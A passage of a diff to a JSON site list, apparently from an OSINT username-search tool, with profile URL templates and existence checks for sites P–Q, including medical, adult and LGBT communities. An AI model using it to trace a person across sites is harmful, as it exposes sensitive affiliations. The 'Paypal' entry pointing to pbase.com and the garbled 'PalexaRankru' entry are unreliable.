"usernameClaimed": "p0ly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pastebin": { + "tags": [ + "sharing" + ], + "checkType": "response_url", + "alexaRank": 2111, + "urlMain": "https://pastebin.com/", + "url": "https://pastebin.com/u/{username}", + "errorUrl": "https://pastebin.com/index", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pathofexile": { + "tags": [ + "ru", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile-details" + ], + "absenceStrs": [ + "Path of Exile" + ], + "alexaRank": 2392, + "urlMain": "https://ru.pathofexile.com", + "url": "https://ru.pathofexile.com/account/view-profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PatientsLikeMe": { + "tags": [ + "medicine", + "us" + ], + "checkType": "response_url", + "alexaRank": 178551, + "urlMain": "https://www.patientslikeme.com", + "url": "https://www.patientslikeme.com/members/{username}", + "usernameClaimed": "fabu007", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Patreon": { + "tags": [ + "finance" + ], + "checkType": "status_code", + "alexaRank": 304, + "urlMain": "https://www.patreon.com/", + "url": "https://www.patreon.com/{username}", + "usernameClaimed": "annetlovart", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Patronite": { + "checkType": "message", + "absenceStrs": [ + "Nie znale\u017ali\u015bmy strony kt\u00f3rej szukasz." + ], + "presenseStrs": [ + "Zosta\u0144 Patronem" + ], + "url": "https://patronite.pl/{username}", + "usernameClaimed": "radio357", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Paypal": { + "tags": [ + "finance" + ], + "checkType": "message", + "absenceStrs": [ + "PayPal.Me" + ], + "alexaRank": 13325, + "urlMain": "https://pbase.com/", + "url": "https://pbase.com/{username}/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pbnation": { + "ignore403": true, + "disabled": true, + "tags": [ + "ca", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered" + ], + "alexaRank": 110875, + "urlMain": "https://www.pbnation.com/", + "url": "https://www.pbnation.com/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pedsovet": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7272, + "urlMain": "https://pedsovet.su/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PeopleAndCountries": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1258464, + "urlMain": "http://peopleandcountries.com", + "url": "http://peopleandcountries.com/space-username-{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PeopleIgn": { + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "title>IGN Error 404 - Not Found" + ], + "alexaRank": 542, + "urlMain": "https://people.ign.com/", + "url": "https://people.ign.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pepper": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "title>\u041e\u0448\u0438\u0431\u043a\u0430!Perfect World" + ], + "alexaRank": 49, + "urlMain": "https://pw.mail.ru", + "url": "https://pw.mail.ru/member.php?username={username}", + "usernameClaimed": "Wedm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PerfectWorldForum": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://pw.mail.ru/", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Periscope": { + "disabled": true, + "tags": [ + "streaming", + "us", + "video" + ], + "checkType": "status_code", + "alexaRank": 58873, + "urlMain": "https://www.periscope.tv/", + "url": "https://www.periscope.tv/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pesiq": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 256808, + "urlMain": "http://pesiq.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pewex.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza eksponaty od:" + ], + "url": "https://retro.pewex.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pgpru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043e\u0431\u0449\u0435\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443." + ], + "alexaRank": 4474323, + "urlMain": "http://www.pgpru.com/", + "url": "http://www.pgpru.com/proekt/poljzovateli?profile={username}", + "usernameClaimed": "Onix", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Photobucket": { + "disabled": true, + "tags": [ + "photo", + "us" + ], + "regexCheck": "\\w{4,32}", + "checkType": "message", + "requestHeadOnly": true, + "absenceStrs": [ + "Found. Redirecting" + ], + "alexaRank": 3012, + "urlMain": "https://photobucket.com/", + "url": "https://app.photobucket.com/u/{username}", + "usernameClaimed": "onlinecomicbookstore", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Phrack": { + "checkType": "status_code", + "alexaRank": 1076320, + "urlMain": "http://phrack.org", + "url": "http://phrack.org/author_{username}.html", + "usernameClaimed": "Dispater", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Physicsforums": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 20840, + "urlMain": "https://www.physicsforums.com", + "url": "https://www.physicsforums.com/members/?username={username}", + "usernameClaimed": "zap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Picsart": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 8904, + "urlMain": "https://picsart.com/", + "url": "https://picsart.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Picuki": { + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "Error 500", + "Error 404", + "Checking if the site connection is secure" + ], + "alexaRank": 2255, + "urlMain": "https://www.picuki.com/", + "url": "https://www.picuki.com/profile/{username}", + "source": "Instagram", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Piekielni": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza historie od:" + ], + "url": "https://piekielni.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pilguy": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1587212, + "urlMain": "https://pilguy.com", + "usernameClaimed": "zaw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinboard": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 35914, + "urlMain": "http://pinboard.in", + "url": "http://pinboard.in/u:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinkbike": { + "tags": [ + "hobby", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 9499, + "urlMain": "https://www.pinkbike.com/", + "url": "https://www.pinkbike.com/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinme": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 113042, + "urlMain": "https://www.pinme.ru", + "url": "https://www.pinme.ru/u/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinterest": { + "tags": [ + "art", + "photo", + "sharing" + ], + "checkType": "message", + "alexaRank": 152, + "presenseStrs": [ + " followers", + " following", + " \u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u043e\u0432", + " \u043f\u043e\u0434\u043f\u0438\u0441\u043e\u043a" + ], + "absenceStrs": [ + "@undefined" + ], + "urlMain": "https://www.pinterest.com/", + "url": "https://www.pinterest.com/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Piratebuhta": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://piratebuhta.club", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis777", + "alexaRank": 12039551, + "disabled": true + }, + "Pitomec": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1239053, + "urlMain": "https://www.pitomec.ru", + "url": "https://www.pitomec.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pixelfed.social": { + "tags": [ + "art", + "pixelfed" + ], + "checkType": "status_code", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42", + "urlMain": "https://pixelfed.social/", + "url": "https://pixelfed.social/{username}/" + }, + "PlanetMinecraft": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Hmm, it seems that you've come across an invalid username", + "404 Not Found", + "Member Not Found" + ], + "presenseStrs": [ + "profile on Planet Minecraft to see their public Minecraft community activity" + ], + "alexaRank": 9050, + "urlMain": "https://www.planetminecraft.com", + "url": "https://www.planetminecraft.com/member/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Planetaexcel": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u043a\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f." + ], + "alexaRank": 49133, + "urlMain": "https://www.planetaexcel.ru", + "url": "https://www.planetaexcel.ru/forum/index.php?PAGE_NAME=profile_view&UID={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Play.md": { + "tags": [ + "md" + ], + "checkType": "response_url", + "alexaRank": 2213221, + "urlMain": "https://play.md", + "url": "https://play.md/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Player": { + "tags": [ + "forum", + "ru", + "shopping" + ], + "engine": "vBulletin", + "alexaRank": 572441, + "urlMain": "http://player.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Playlists": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry we can't find that page" + ], + "alexaRank": 195103, + "urlMain": "https://playlists.net", + "url": "https://playlists.net/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PlaystationTrophies": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "status_code", + "alexaRank": 49632, + "urlMain": "https://www.playstationtrophies.org", + "url": "https://www.playstationtrophies.org/forum/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Pling": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 67862, + "urlMain": "https://www.pling.com/", + "url": "https://www.pling.com/u/{username}/", + "errorUrl": "https://www.pling.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Plug.DJ": { + "disabled": true, + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 3799094, + "urlMain": "https://plug.dj/", + "url": "https://plug.dj/@/{username}", + "usernameClaimed": "plug-dj-rock", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pluralsight": { + "tags": [ + "in", + "us" + ], + "checkType": "message", + "errors": { + "Unfortunately, Pluralsight's products are not available in your area at this time": "Site censorship" + }, + "absenceStrs": [ + "Not available | Profile", + "renderErrorPage(404)" + ], + "alexaRank": 4350, + "urlMain": "https://app.pluralsight.com", + "url": "https://app.pluralsight.com/profile/author/{username}", + "usernameClaimed": "adam-crahen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Plurk": { + "tags": [ + "tw" + ], + "checkType": "message", + "absenceStrs": [ + "User Not Found!" + ], + "alexaRank": 1614, + "urlMain": "https://www.plurk.com/", + "url": "https://www.plurk.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Poembook": { + "similarSearch": true, + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u043f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e! :(" + ], + "alexaRank": 78906, + "urlMain": "https://poembook.ru", + "url": "https://poembook.ru/any?query={username}", + "usernameClaimed": "DIKANNA", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pogovorim": { + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 384128, + "urlMain": "https://pogovorim.by", + "url": "https://pogovorim.by/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "nikola", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pokecommunity": { + "disabled": true, + "tags": [ + "de", + "forum", + "gb", + "us" + ], + "engine": "vBulletin", + "alexaRank": 50851, + "urlMain": "https://www.pokecommunity.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pokemon Showdown": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6863, + "urlMain": "https://pokemonshowdown.com", + "url": "https://pokemonshowdown.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PokerStrategy": { + "disabled": true, + "tags": [ + "ru" + ], + "errors": { + "PokerStrategy.org not available in": "Country restrictions" + }, + "checkType": "message", + "absenceStrs": [ + "Sorry, the requested page couldn't be found!" + ], + "alexaRank": 1821643, + "urlMain": "http://www.pokerstrategy.net", + "url": "http://www.pokerstrategy.net/user/{username}/profile/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pol.social": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@pol.social" + ], + "url": "https://pol.social/@{username}", + "usernameClaimed": "ducensor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polczat.pl": { + "checkType": "message", + "absenceStrs": [ + "Wybrany u\u017cytkownik nie istnieje." + ], + "presenseStrs": [ + "Historia wpis\u00f3w" + ], + "url": "https://polczat.pl/forum/profile/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Policja2009": { + "checkType": "message", + "absenceStrs": [ + "Informacja" + ], + "presenseStrs": [ + ">Wiadomo" + ], + "url": "http://www.policja2009.fora.pl/search.php?search_author={username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Politforums": { + "tags": [ + "forum", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u0441\u0432\u044f\u0436\u0438\u0442\u0435\u0441\u044c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c" + ], + "alexaRank": 207770, + "urlMain": "https://www.politforums.net/", + "url": "https://www.politforums.net/free/profile.php?showuser={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Politikforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2125997, + "urlMain": "http://www.politikforum.ru/", + "usernameClaimed": "kostya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polleverywhere": { + "checkType": "message", + "absenceStrs": [ + "ResourceNotFound" + ], + "presenseStrs": [ + "name" + ], + "url": "https://pollev.com/proxy/api/users/{username}", + "usernameClaimed": "josh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polygon": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1757, + "urlMain": "https://www.polygon.com/", + "url": "https://www.polygon.com/users/{username}", + "usernameClaimed": "swiftstickler", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polymart": { + "checkType": "message", + "presenseStrs": [ + "Resources" + ], + "absenceStrs": [ + "Looks like we couldn't find this user. Sorry!" + ], + "url": "https://polymart.org/user/{username}", + "usernameClaimed": "craciu25yt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pornhub": { + "tags": [ + "porn" + ], + "checkType": "message", + "presenseStrs": [ + "profileInformation" + ], + "absenceStrs": [ + "Error Page Not Found", + "cannot be found" + ], + "alexaRank": 74, + "urlMain": "https://pornhub.com/", + "url": "https://pornhub.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PornhubPornstars": { + "checkType": "message", + "absenceStrs": [ + "Error Page Not Found" + ], + "presenseStrs": [ + "Pornstar Rank" + ], + "url": "https://www.pornhub.com/pornstar/{username}", + "usernameClaimed": "riley-reid", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Portraitartistforum": { + "engine": "vBulletin", + "urlMain": "http://www.portraitartistforum.com", + "usernameClaimed": "Sam%20Savage", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 12143653 + }, + "Poshmark": { + "checkType": "message", + "absenceStrs": [ + "Page not found - Poshmark" + ], + "presenseStrs": [ + " is using Poshmark to sell items from their closet." + ], + "url": "https://poshmark.com/closet/{username}", + "usernameClaimed": "alice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Postila": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 13320, + "urlMain": "https://postila.ru/", + "url": "https://postila.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PalexaRankru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://palexaRankru.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Pregame": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 64033, + "urlMain": "https://pregame.com", + "url": "https://pregame.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prizyvnik": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 438074, + "urlMain": "https://www.prizyvnik.info", + "url": "https://www.prizyvnik.info/members/?username={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pro-cats": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 5414178, + "urlMain": "http://pro-cats.ru", + "usernameClaimed": "parrots", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prodaman": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 103832, + "urlMain": "https://prodaman.ru", + "url": "https://prodaman.ru/{username}", + "usernameClaimed": "Natastraik", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProductHunt": { + "tags": [ + "tech", + "us" + ], + "checkType": "message", + "presenseStrs": [ + ":{\"data\":{\"profile\":{\"__typename\"" + ], + "absenceStrs": [ + "We seem to have lost this page" + ], + "alexaRank": 10638, + "urlMain": "https://www.producthunt.com/", + "url": "https://www.producthunt.com/@{username}", + "usernameClaimed": "rajiv_ayyangar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Professionali": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 41139, + "urlMain": "https://professionali.ru", + "url": "https://professionali.ru/~{username}", + "usernameClaimed": "mark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProfilesTigweb": { + "tags": [ + "ca", + "in", + "pk" + ], + "checkType": "status_code", + "alexaRank": 276522, + "urlMain": "https://profiles.tigweb.org", + "url": "https://profiles.tigweb.org/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Proglib": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 53386, + "urlMain": "https://proglib.io", + "url": "https://proglib.io/u/{username}/posts", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProgrammersForum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://www.programmersforum", + "usernameClaimed": "farts", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Prokoni": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 268598, + "urlMain": "https://www.prokoni.ru/", + "url": "https://www.prokoni.ru/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PromoDJ": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 46993, + "urlMain": "http://promodj.com/", + "url": "http://promodj.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Proshkolu": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 29471, + "urlMain": "https://proshkolu.ru", + "url": "https://proshkolu.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prosvetlenie": { + "ignore403": true, + "tags": [ + "kg", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2103040, + "urlMain": "http://www.prosvetlenie.org", + "url": "http://www.prosvetlenie.org/forum/members/?username={username}", + "usernameClaimed": "odin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Proza.ru": { + "tags": [ + "ru", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 9550, + "urlMain": "https://www.proza.ru/", + "url": "https://www.proza.ru/avtor/{username}", + "usernameClaimed": "gpola", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prv.pl": { + "checkType": "message", + "absenceStrs": [ + "U\u017cytkownik nie istnieje." + ], + "presenseStrs": [ + "LOGIN" + ], + "url": "https://www.prv.pl/osoba/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Psychologies.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 20568, + "urlMain": "http://www.psychologies.ru", + "url": "http://www.psychologies.ru/personal/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Psyera": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 61415, + "urlMain": "https://psyera.ru", + "url": "https://psyera.ru/user/{username}", + "usernameClaimed": "eskariot", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Publiclab": { + "tags": [ + "in", + "science" + ], + "checkType": "response_url", + "alexaRank": 64988, + "urlMain": "https://publiclab.org", + "url": "https://publiclab.org/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PulmonaryHypertensionNews": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-personal-li" + ], + "alexaRank": 1616190, + "urlMain": "https://pulmonaryhypertensionnews.com", + "url": "https://pulmonaryhypertensionnews.com/forums/members/{username}/", + "usernameClaimed": "gwendolyn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PushSquare": { + "tags": [ + "gaming", + "news", + "us" + ], + "checkType": "status_code", + "alexaRank": 21227, + "urlMain": "http://www.pushsquare.com", + "url": "http://www.pushsquare.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PyPi": { + "tags": [ + "in", + "us" + ], + "errors": { + "Please enable JavaScript to proceed": "Scraping protection" + }, + "checkType": "status_code", + "alexaRank": 12591, + "urlMain": "https://pypi.org/", + "url": "https://pypi.org/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pyha": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 3979608, + "urlMain": "https://pyha.ru/", + "url": "https://pyha.ru/users/{username}", + "usernameClaimed": "Sinkler", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "programming.dev": { + "tags": [ + "lemmy" + ], + "checkType": "message", + "absenceStrs": [ + "Error!" + ], + "url": "https://programming.dev/u/{username}", + "urlMain": "https://programming.dev", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Qbn": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 386366, + "urlMain": "https://www.qbn.com/", + "url": "https://www.qbn.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quake-champions": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://quake-champions.pro", + "url": "https://quake-champions.pro/community/profile/{username}/", + "usernameClaimed": "bruner", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 445225 + }, + "Quartertothree": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 317623, + "urlMain": "https://forum.quartertothree.com", + "usernameClaimed": "rei", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Queer": { + "tags": [ + "pl" + ], + "checkType": "status_code", + "alexaRank": 6934378, + "urlMain": "https://queer.pl", + "url": "https://queer.pl/user/{username}", + "usernameClaimed": "dhoyosm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "QuestionableQuesting": { + "disabled": true, + "tags": [ + "forum", + "gb", + "jp", + "us" + ], + "engine": "XenForo", + "alexaRank": 55731, + "urlMain": "https://forum.questionablequesting.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Quibblo": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 117232, + "urlMain": "https://www.quibblo.com/", + "url": "https://www.quibblo.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quitter.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono" + ], + "presenseStrs": [ + "@quitter.pl" + ], + "url": "https://quitter.pl/profile/{username}", + "usernameClaimed": "divmod", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quizlet": { + "checkType": "message", + "absenceStrs": [ + "Page Unavailable" + ], + "presenseStrs": [ + "| Quizlet" + ], + "url": "https://quizlet.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quora": { + "tags": [ + "education" + ], + "checkType": "response_url", + "alexaRank": 347, + "urlMain": "https://www.quora.com/", + "url": "https://www.quora.com/profile/{username}", + "errorUrl": "https://www.quora.com/profile/{username}", + "usernameClaimed": "Matt-Riggsby", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Qwas": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2983388, + "urlMain": "http://forum.qwas.ru", + "url": "http://forum.qwas.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": 